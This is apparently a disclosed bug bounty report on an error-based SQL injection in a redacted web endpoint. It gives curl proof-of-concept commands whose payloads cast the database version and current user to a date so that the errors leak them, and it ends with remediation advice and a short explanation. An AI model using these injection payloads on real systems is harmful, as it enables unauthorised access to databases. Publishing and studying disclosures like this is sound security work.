SQL Injection in █████
A SQL injection vulnerability was found in a parameter of an endpoint, allowing an attacker to inject SQL queries and retrieve database information such as the version and current user. The report claims this could lead to full database exfiltration and remote code execution.
- Triaged in under an hour
- Fixed in 19 days
- Disclosed after 43 days
References
Impact
By using SQL injection, an attacker can exfiltrate the whole database, and gain RCE
System Host(s)
████
Affected Product(s) and Version(s)
████
CVE Numbers
Steps to Reproduce
POC 1 - curl command injecting query, returning database version: curl https://█████████ -X POST -data="url=%2F████████&███████=AA'+OR(cast(version as date))LIKE'A" -k
POC 2 - curl command injecting query, returning current database: curl https://███████████████ -X POST -data="url=%2F██████████&███=AA'+OR(cast(current_user as date))LIKE'A" -k {"msg":"fail","err":"ERROR: invalid input syntax for type timestamp: "████""}
POC 3 - curl command injecting query, returning current user: curl https://█████████ -X POST -data="url=%2F████&█████=AA'+OR(cast(current_user as date))LIKE'A" -k {"msg":"fail","err":"ERROR: invalid input syntax for type timestamp: "███████""}
Suggested Mitigation/Remediation Actions
The vulnerable parameter "█████" in the ████████ endpoint should be sanitized properly. Usually this is done by implementing prepared statement.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application concatenates user input directly into SQL queries without using prepared statements or proper sanitisation.
What the attacker needed
Access to the endpoint
How it was found
- Send a crafted POST request to the endpoint with a parameter containing a SQL injection payload that casts the database version to a date, causing an error that reveals the version.
- Send a similar request that casts the current database to a date, causing an error that reveals the current database.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted directly into a database query without proper handling, letting an attacker change the query's meaning. Here, the attacker could make the database return its version and current user, and the report says this could be extended to steal all data or even run commands on the server.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.